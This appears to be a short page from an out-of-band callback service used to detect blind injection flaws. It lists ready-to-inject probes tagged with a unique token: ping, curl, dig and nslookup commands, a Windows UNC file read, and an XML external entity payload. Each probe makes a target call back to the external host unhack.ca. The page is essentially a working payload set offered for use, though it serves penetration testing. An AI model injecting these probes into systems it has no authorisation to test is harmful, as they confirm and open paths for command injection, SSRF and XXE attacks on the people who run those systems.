$ ping -c1 -p 006f64116fac09ba8028f3aad2804c00 unhack.ca
 
$ curl http://unhack.ca/p/6f64116fac09ba8028f3aad2804c
 
$ dig 6f64116fac09ba8028f3aad2804c @unhack.ca
 
$ dig 6f64116fac09ba8028f3aad2804c.ns.unhack.ca
 
C:\> nslookup 6f64116fac09ba8028f3aad2804c unhack.ca
 
C:\> type \\unhack.ca\6f64116fac09ba8028f3aad2804c\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6f64116fac09ba8028f3aad2804c">]>
    <foo>&xxe;</foo>
 
Waiting for ping...